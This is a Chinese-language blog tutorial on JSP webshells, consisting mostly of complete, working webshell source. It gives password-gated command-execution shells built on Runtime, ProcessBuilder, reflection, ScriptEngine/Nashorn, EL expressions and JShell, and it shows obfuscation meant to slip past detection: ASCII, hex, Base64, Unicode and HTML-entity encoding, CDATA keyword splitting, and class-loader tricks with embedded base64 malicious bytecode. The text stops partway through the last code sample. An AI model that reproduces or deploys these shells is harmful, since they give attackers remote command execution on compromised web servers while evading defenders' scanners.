Javaweb安全——JSP Webshell

Jsp Webshell

e7d78587b988b4015e41abeb236857b1.png

命令执行

Runtime 和 ProcessBuilder

Java一般用的命令执行语句有两个:

Runtime.getRuntime().exec("cmd");
java.lang.ProcessBuilder(new String[]{"cmd"}).start();

image-20220818180613718

Runtime实际上是调用了java.lang.ProcessBuilder#start

image-20220818180802881

而ProcessBuilder又是调用了java.lang.ProcessImpl#start

image-20220818180947775

最后是调用了ProcessImpl的私有构造方法

image-20220818181251554

image-20220818181345826

ProcessImpl

虽然无法直接实例化该类调用,但可以通过反射调用其start方法:

String [] cmd={"cmd","/c","whoami"};
Class processimpl=Class.forName("java.lang.ProcessImpl");
Method m1=processimpl.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
m1.setAccessible(true);
Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);

image-20220818183603574

一句话木马其实就是调用上面的命令执行方法,然后输出结果。这里以Runtime为例,其余的只要换一下命令执行函数就行。

<% 
if("023".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b,0,a));
    }
    out.print("</pre>");
}
%>

Method.invoke的代替

  • 用MethodUtil替换method.invoke
MethodUtil.invoke(m1,processimpl,new Object[]{"calc".split(" "), null, null, null, false});
  • 直接调用底层的MethodAccessor
ReflectionFactory reflectionFactory = AccessController.doPrivileged(new sun.reflect.ReflectionFactory.GetReflectionFactoryAction());
MethodAccessor methodAccessor = reflectionFactory.newMethodAccessor(method);
methodAccessor.invoke(clz,new Object[]{"calc".split(" "), null, null, null, false});

表达式类调用

ScriptEngineManager

还可以通过JS引擎调用Java对象

ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
String script="java.lang.Runtime.getRuntime().exec(\"calc\")";
engine.eval(script);

ScriptEngine代码执行的小马:

<%
    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
    engine.put("request", request);
    engine.put("response", response);
    engine.eval(request.getParameter("mr6"));
%>

换个Nashorn引擎,加上回显

<%
    ScriptEngineManager manager = new ScriptEngineManager(null);
    ScriptEngine engine = manager.getEngineByName("nashorn");
    String payload=request.getParameter("cmd");
    Compilable compEngine=(Compilable)engine;
    CompiledScript script=compEngine.compile(payload);
    BufferedReader object=(BufferedReader)script.eval();
    String line="";
    String result="";
    while((line=object.readLine())!=null){
        result=result+line;
    }
    out.println(result);
%>

?cmd=new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("whoami").getInputStream()));

image-20220818211449064

再把这个语句编码后写进入

<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
    //linux
    //String s1 = "s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='";
    //win
    String s1 = "s=[3];s[0]='cmd';s[1]='/c';s[2]='";
    String s2 = request.getParameter("cmd");
    String s3 = new String(Base64.getDecoder().decode("JztqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhzKTs="));
    Process process = (Process) new ScriptEngineManager().getEngineByName("nashorn").eval(s1 + s2 + s3);
    InputStream inputStream = process.getInputStream();
    StringBuilder stringBuilder = new StringBuilder();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while((line = bufferedReader.readLine()) != null) {
        stringBuilder.append(line).append("\n");
    }
    if (stringBuilder.length() > 0) {
        response.getOutputStream().write(stringBuilder.toString().getBytes());
    }
%>

Tomcat EL表达式

ELProcessor
<%@ page import="javax.el.ELProcessor" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
    StringBuilder stringBuilder = new StringBuilder();
    String cmd = request.getParameter("cmd");
    for (String tmp:cmd.split(" ")) {
        stringBuilder.append("'").append(tmp).append("'").append(",");
    }
    String f = stringBuilder.substring(0, stringBuilder.length() - 1);
    ELProcessor processor = new ELProcessor();
    Process process = (Process) processor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")");
    InputStream inputStream = process.getInputStream();
    StringBuilder stringBuilder2 = new StringBuilder();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while((line = bufferedReader.readLine()) != null) {
        stringBuilder2.append(line).append("\n");
    }
    if (stringBuilder2.length() > 0) {
        response.getOutputStream().write(stringBuilder2.toString().getBytes());
    }
%>
ELManager

或者像在servlet写el表达式解析语句一样调用

image-20220819012257470

其实也是ELProcessor#eval的具体实现类

private final ExpressionFactory factory;

public ELProcessor() {
    this.context = this.manager.getELContext();
    this.factory = ELManager.getExpressionFactory();
}
public Object getValue(String expression, Class<?> expectedType) {
	ValueExpression ve = this.factory.createValueExpression(this.context, bracket(expression), expectedType);
	return ve.getValue(this.context);
}

webshell

<%@ page import="java.io.InputStream" %>
<%@ page import="javax.el.ELContext" %>
<%@ page import="javax.el.ELManager" %>
<%@ page import="javax.el.ExpressionFactory" %>
<%@ page import="javax.el.ValueExpression" %>
<%@ page import="sun.misc.IOUtils" %>
<%
    String cmd = request.getParameter("cmd");
    StringBuilder stringBuilder = new StringBuilder();
    for (String tmp:cmd.split(" ")) {
        stringBuilder.append("'").append(tmp).append("'").append(",");
    }
    String f = stringBuilder.substring(0, stringBuilder.length() - 1);
    String expression = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](["+ f +"]).start()\")";
    ELManager manager = new ELManager();
    ELContext context = manager.getELContext();
    ExpressionFactory factory = ELManager.getExpressionFactory();
    ValueExpression ve = factory.createValueExpression(context, "${" + expression + "}", Object.class);
    InputStream inputStream = ((Process)ve.getValue(context)).getInputStream();
    response.getOutputStream().write(IOUtils.readFully(inputStream, -1, false));
%>

JShell (JDK>=9)

<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("cmd"))%>

常规变形混淆

类反射+字符串编码

ASCII

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%
    if(request.getParameter("cmd")!=null){
        Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
        Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;byte[] b = new byte[2048];out.print("<pre>");
        while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
    }
%>

HEX

<%@ page contentType="text/html;charset=UTF-8" import="javax.xml.bind.DatatypeConverter" language="java" %>
<%
    if(request.getParameter("cmd")!=null){
        Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));
        Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary("65786563")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary("67657452756e74696d65"))).invoke(null), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;byte[] b = new byte[2048];out.print("<pre>");
        while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
    }
%>

BASE64

    <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    <%@ page import="sun.misc.BASE64Decoder" %>
    <%
        if(request.getParameter("cmd")!=null){
            BASE64Decoder decoder = new BASE64Decoder();
            Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
            Process e = (Process)
                    rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
                            String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
                            Object[]{}), request.getParameter("cmd") );
            java.io.InputStream in = e.getInputStream();
            int a = -1;
            byte[] b = new byte[2048];
            out.print("<pre>");
            while((a=in.read(b))!=-1){
                out.println(new String(b));
            }
            out.print("</pre>");
        }
    %>

Unicode编码

<% \u0069\u0066\u0028\u0022\u0030\u0032\u0033\u0022\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0070\u0077\u0064\u0022\u0029\u0029\u0029\u007b\u000a\u0020\u0020\u0020\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0069\u006e\u0020\u003d\u0020\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0069\u0022\u0029\u0029\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0069\u006e\u0074\u0020\u0061\u0020\u003d\u0020\u002d\u0031\u003b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065\u005b\u0032\u0030\u0034\u0038\u005d\u003b\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u003c\u0070\u0072\u0065\u003e\u0022\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u0077\u0068\u0069\u006c\u0065\u0028\u0028\u0061\u003d\u0069\u006e\u002e\u0072\u0065\u0061\u0064\u0028\u0062\u0029\u0029\u0021\u003d\u002d\u0031\u0029\u007b\u000a\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e\u0028\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0062\u002c\u0030\u002c\u0061\u0029\u0029\u003b\u000a\u0020\u0020\u0020\u0020\u007d\u000a\u0020\u0020\u0020\u0020\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u0028\u0022\u003c\u002f\u0070\u0072\u0065\u003e\u0022\u0029\u003b\u000a\u007d
%>

内部类

https://xz.aliyun.com/t/7798#toc-6

class A {

            B b;

            final class B {

                private Method o;
                private Object oo;
                private Object[] ooo;

                public B() throws ClassNotFoundException, NoSuchMethodException {
                    Class clz = Class.forName("java.lang.ProcessImpl");
                    Method method = clz
                            .getDeclaredMethod("start", String[].class, Map.class, String.class,
                                    ProcessBuilder.Redirect[].class, boolean.class);
                    method.setAccessible(true);
                    o = method;
                    oo = clz;
                    ooo = new Object[]{s.split(" "), null, null, null, false};
                }
            }

            public A() throws ClassNotFoundException, NoSuchMethodException {
                b = new B();
            }

            public Object invokex()
                    throws InvocationTargetException, IllegalAccessException {
                return MethodUtil.invoke(b.o, b.oo, b.ooo);
            }
        }

        Process process = (Process) new A().invokex();

Jspx

HTML实体编码

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0">
    <jsp:scriptlet>
        &#105;&#102;&#40;&#34;&#48;&#50;&#51;&#34;&#46;&#101;&#113;&#117;&#97;&#108;&#115;&#40;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#103;&#101;&#116;&#80;&#97;&#114;&#97;&#109;&#101;&#116;&#101;&#114;&#40;&#34;&#112;&#119;&#100;&#34;&#41;&#41;&#41;&#123;&#10;&#32;&#32;&#32;&#32;&#106;&#97;&#118;&#97;&#46;&#105;&#111;&#46;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&#32;&#105;&#110;&#32;&#61;&#32;&#82;&#117;&#110;&#116;&#105;&#109;&#101;&#46;&#103;&#101;&#116;&#82;&#117;&#110;&#116;&#105;&#109;&#101;&#40;&#41;&#46;&#101;&#120;&#101;&#99;&#40;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#103;&#101;&#116;&#80;&#97;&#114;&#97;&#109;&#101;&#116;&#101;&#114;&#40;&#34;&#105;&#34;&#41;&#41;&#46;&#103;&#101;&#116;&#73;&#110;&#112;&#117;&#116;&#83;&#116;&#114;&#101;&#97;&#109;&#40;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#105;&#110;&#116;&#32;&#97;&#32;&#61;&#32;&#45;&#49;&#59;&#32;&#98;&#121;&#116;&#101;&#91;&#93;&#32;&#98;&#32;&#61;&#32;&#110;&#101;&#119;&#32;&#98;&#121;&#116;&#101;&#91;&#50;&#48;&#52;&#56;&#93;&#59;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#40;&#34;&#60;&#112;&#114;&#101;&#62;&#34;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#119;&#104;&#105;&#108;&#101;&#40;&#40;&#97;&#61;&#105;&#110;&#46;&#114;&#101;&#97;&#100;&#40;&#98;&#41;&#41;&#33;&#61;&#45;&#49;&#41;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#108;&#110;&#40;&#110;&#101;&#119;&#32;&#83;&#116;&#114;&#105;&#110;&#103;&#40;&#98;&#44;&#48;&#44;&#97;&#41;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#125;&#10;&#32;&#32;&#32;&#32;&#111;&#117;&#116;&#46;&#112;&#114;&#105;&#110;&#116;&#40;&#34;&#60;&#47;&#112;&#114;&#101;&#62;&#34;&#41;&#59;&#10;&#125;
    </jsp:scriptlet>
</jsp:root>

image-20220819020132535

命名空间绕过

<jsp:scriptlet>标签默认命名空间为jsp实际可以换成<default:scriptlet>

<Any:scriptlet>任意名字都行。

表达式调用

<jsp:expression>去调用表达式相当于<%=..%>

<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0">
    <jsp:expression>
        new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())).readLine()
    </jsp:expression>
</jsp:root>

回显只有一行 ipconfig这种就不行了

image-20220819021904503

CDATA拆分关键字

同样是利用xml的特性,CDATA 部分中的所有内容都会被解析器忽略,相当于注释符,就和xxe绕过关键词一样。

CDATA 部分由 <![CDATA[ 开始,由 ]]> 结束。

<xxx:root xmlns:xxx="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" version="2.0">
    <xxx:directive.page import="java.io.BufferedReader"/>
    <xxx:scriptlet>
        BufferedReader object=new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Run<![CDATA[time.get]]>Run<![CDATA[tim]]>e().ex<![CDATA[ec(reque]]>st.getParameter("cmd")).getInputStream()));
        String line="";
        String result="";
        while((line=object.readLine())!=null){
        result=result+line;
        }
        out.println(result);
    </xxx:scriptlet>
</xxx:root>

image-20220819023733553

类加载绕过

调用defineClass

反射调用
import java.lang.reflect.Method;
import java.util.Base64;
public class TestDefineClass {
    public static void main(String[] args) throws Exception {
        Method defineClass =  ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtMZXZsaUNsYXNzOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHABwBAApTb3VyY2VGaWxlAQAOZXZsaUNsYXNzLmphdmEMAAkACgcAIAwAIQAiAQAEY2FsYwwAIwAkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAJQAKAQAJZXZsaUNsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAIAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAABAA0AAAAMAAEAAAAFAA4ADwAAAAgAEAAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAABAAJAAcADAAFAA0ABgARAAgADQAAAAwAAQANAAQAEQASAAAAEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==");
        Class evli = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "evliClass", code, 0, code.length);
        evli.newInstance();
    }
}
类继承Classloader
自定义类
public static class x extends ClassLoader //继承ClassLoader
    {   
        public  Class get(byte[] b)
        {
            return super.defineClass(b, 0, b.length);
        }       
    }
public static void main(String[] args) throws Exception {
        String classStr="evilClassByte"; #恶意类字节码
        BASE64Decoder code=new sun.misc.BASE64Decoder();
        Class result=new x().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入自定义类的get函数
        System.out.println(result.newInstance());
    }
JDK原生类

com.sun.jmx.remote.util.OrderClassLoaders

image-20220820004844352

public class ClassLoaderTest2{

    public static void main(String[] args) throws Exception {
        byte[] mes = java.util.Base64.getDecoder().decode("evilClassByte");

        Class OC=Class.forName("com.sun.jmx.remote.util.OrderClassLoaders");
        java.lang.reflect.Method m = OC.getSuperclass().getDeclaredMethod("defineClass",new Class[]{byte[].class,int.class,int.class});
        m.setAccessible(true);
        java.lang.reflect.Constructor  c=OC.getDeclaredConstructor(new Class[]{ClassLoader.class,ClassLoader.class});
        c.setAccessible(true);
        Object cl=Thread.currentThread().getContextClassLoader();
        Object  d=c.newInstance(new Object[]{cl,cl});
        Object evil =((Class) m.invoke(d, new Object[]{mes, 0, mes.length})).newInstance();
    }
}

具体使用可以看https://xz.aliyun.com/t/11368

javax.management.loading.MLet`

这个类是继承的URLClassLoader

image-20220820005255873

image-20220820005216824

import java.net.URL;

public class ClassLoaderTest1 extends java.net.URLClassLoader{
    public ClassLoaderTest1(URL[] urls, ClassLoader parent) {
        super(urls, parent);
    }

    public static void main(String[] args) throws Exception {
        byte[] mes = java.util.Base64.getDecoder().decode("evilClassByte");
		java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        m.setAccessible(true);

        Class clazz = Class.forName("javax.management.loading.MLet");
        Object Mlet = clazz.getDeclaredConstructor(URL[].class, ClassLoader.class).newInstance(new URL[0], this.getClass().getClassLoader());
        Object evil = ((Class)m.invoke(Mlet, mes, 0, mes.length)).newInstance();
    }
}

下面这几个获取类加载器的方法,我在本地环境的jsp上测试都是可以的

  • this.getClass().getClassLoader()
  • new ClassLoader(){}
  • ClassLoader.getSystemClassLoader()
  • Thread.currentThread().getContextClassLoader()

jdk.nashorn.internal.runtime.ScriptLoader

Nashorn是于Java 8中用于取代Rhino(Java 6,Java 7)的JavaScript引擎

可以看到这个类最后还是继承自ClassLoader,他的loadClass方法就是调用自ClassLoader

image-20220821232649659

public class ScriptLoadTest {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        // 获取ScriptLoader对象
        Class cls=Class.forName("jdk.nashorn.internal.runtime.ScriptLoader");
        Constructor constructor=cls.getDeclaredConstructor(Context.class);
        constructor.setAccessible(true);
        Object o=constructor.newInstance(new jdk.nashorn.internal.runtime.Context(new Options(""),null,null));
        // 执行installClass方法
        Method m1=cls.getDeclaredMethod("installClass", String.class, byte[].class, CodeSource.class);
        m1.setAccessible(true);
        BASE64Decoder decoder=new sun.misc.BASE64Decoder();
        Class E=(Class)m1.invoke(o,"Evil",decoder.decodeBuffer("evilClassByte"),new CodeSource(null,(Certificate[]) null));
        E.newInstance();
    }
}
Proxy动态代理

动态代理则直接得到代理类的Class对象,然后通过反射创造实例,当中就有defineClass的操作。

image-20220822014530101

image-20220822014541697

public class ProxyDefineTest {
    public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
        ClassLoader classLoader=ClassLoader.getSystemClassLoader();
        Method m1= Proxy.class.getDeclaredMethod("defineClass0", ClassLoader.class, String.class, byte[].class, int.class, int.class);
        m1.setAccessible(true);
        BASE64Decoder decoder=new sun.misc.BASE64Decoder();
        byte[] classBytes=decoder.decodeBuffer("evilClassByte");
        String className="Evil";
        Class E=(Class) m1.invoke(null,classLoader,className,classBytes,0,classBytes.length);
        E.newInstance();
    }
}

下面几种加载方式的jsp马,搬运自threedr3am 师傅的文章都0202年了老嗨还在用的 - 各种姿势jsp webshell各种姿势jsp webshell

TemplatesImpl 加载

<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" %>
<%@ page import="com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="sun.misc.IOUtils" %>
<%@ page import="sun.reflect.misc.FieldUtil" %>
<html>
<body>
<h2>利用TemplatesImpl触发的JSP Webshell</h2>
<%
    String tmp = System.getProperty("java.io.tmpdir");
    String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt";
    String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt";
    String s = request.getParameter("threedr3am");
    if (Files.exists(Paths.get(inputFile)))
        Files.delete(Paths.get(inputFile));
    Files.write(Paths.get(inputFile), s.getBytes());

    TemplatesImpl t = new TemplatesImpl();
    Field field = FieldUtil.getDeclaredFields(t.getClass())[4];
    byte[][] bytes = new byte[1][];
    bytes[0] = Base64.getDecoder().decode("yv66vgAAADQAjwoAJgA5CAA6CgA7ADwHAD0KAAQAOQoABAA+CQA/AEAIAEEKAAQAQggAQwoARABFBwBGCgBHAEgKAEkASgoADABLCABMCABNCgAMAE4IAE8KAAwAUAoARABRCgBSAFMHAFQHAFUKABgAVgoAFwBXCgAXAFgIAFkHAFoKAEkAWwoASQBcCgAMAF0HAF4KAEkAXwcAYAoAIwBhBwBiBwBjAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAGIHAEYHAGQHAD0HAFQHAGABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBABJUaHJlZWRyM2FtXzExLmphdmEMACcAKAEADmphdmEuaW8udG1wZGlyBwBmDABnAGgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAaQBqBwBrDABsAG0BAANjbWQMAG4AbwEABnJlc3VsdAcAcAwAcQByAQAQamF2YS9sYW5nL1N0cmluZwcAcwwAdAB1BwB2DAB3AHgMACcAeQEAASUBAAAMAHoAewEAASAMAHwAfQwAfgB/BwCADACBAIIBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAJwCDDAAnAIQMAIUAbwEAAQoBABhqYXZhL25pby9maWxlL0xpbmtPcHRpb24MAIYAhwwAiACJDACKAIsBABhqYXZhL25pby9maWxlL09wZW5PcHRpb24MAIwAjQEAE2phdmEvbGFuZy9UaHJvd2FibGUMAI4AKAEADVRocmVlZHIzYW1fMTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JbnB1dFN0cmVhbQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAMamF2YS9pby9GaWxlAQAJc2VwYXJhdG9yAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAE2phdmEvbmlvL2ZpbGUvUGF0aHMBAANnZXQBADsoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAE2phdmEvbmlvL2ZpbGUvRmlsZXMBAAxyZWFkQWxsQnl0ZXMBABgoTGphdmEvbmlvL2ZpbGUvUGF0aDspW0IBAAUoW0IpVgEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZleGlzdHMBADIoTGphdmEvbmlvL2ZpbGUvUGF0aDtbTGphdmEvbmlvL2ZpbGUvTGlua09wdGlvbjspWgEABmRlbGV0ZQEAFyhMamF2YS9uaW8vZmlsZS9QYXRoOylWAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAFd3JpdGUBAEcoTGphdmEvbmlvL2ZpbGUvUGF0aDtbQltMamF2YS9uaW8vZmlsZS9PcGVuT3B0aW9uOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAD3ByaW50U3RhY2tUcmFjZQAhACUAJgAAAAAAAwABACcAKAABACkAAAFwAAUACAAAANsqtwABEgK4AANMuwAEWbcABSu2AAayAAe2AAYSCLYABrYACU27AARZtwAFK7YABrIAB7YABhIKtgAGtgAJTrgAC7sADFksA70ADLgADbgADrcADxIQEhG2ABISE7YAFLYAFbYAFjoEuwAEWbcABToFuwAXWbsAGFkZBLcAGbcAGjoGGQa2ABtZOgfGABMZBRkHtgAGEhy2AAZXp//oLQO9AAy4AA0DvQAduAAemQAOLQO9AAy4AA24AB8tA70ADLgADRkFtgAJtgAgA70AIbgAIlenAAhMK7YAJLEAAQAEANIA1QAjAAIAKgAAAEIAEAAAABIABAAUAAoAFQAkABYAPgAYAGcAGQBwABoAggAcAI0AHQCdAB8ArwAgALoAIQDSACQA1QAiANYAIwDaACUAKwAAADMABf8AggAHBwAsBwAtBwAtBwAtBwAuBwAvBwAwAAD8ABoHAC0c/wAaAAEHACwAAQcAMQQAAQAyADMAAgApAAAAGQAAAAMAAAABsQAAAAEAKgAAAAYAAQAAACoANAAAAAQAAQA1AAEAMgA2AAIAKQAAABkAAAAEAAAAAbEAAAABACoAAAAGAAEAAAAwADQAAAAEAAEANQABADcAAAACADg=");
    field.setAccessible(true);
    field.set(t, bytes);

    Field field2 = FieldUtil.getDeclaredFields(t.getClass())[12];
    field2.setAccessible(true);
    field2.set(t, TransformerFactoryImpl.newInstance());

    Field field3 = FieldUtil.getDeclaredFields(t.getClass())[3];
    field3.setAccessible(true);
    field3.set(t, "threedr3am");

    Field field4 = FieldUtil.getDeclaredFields(t.getClass())[7];
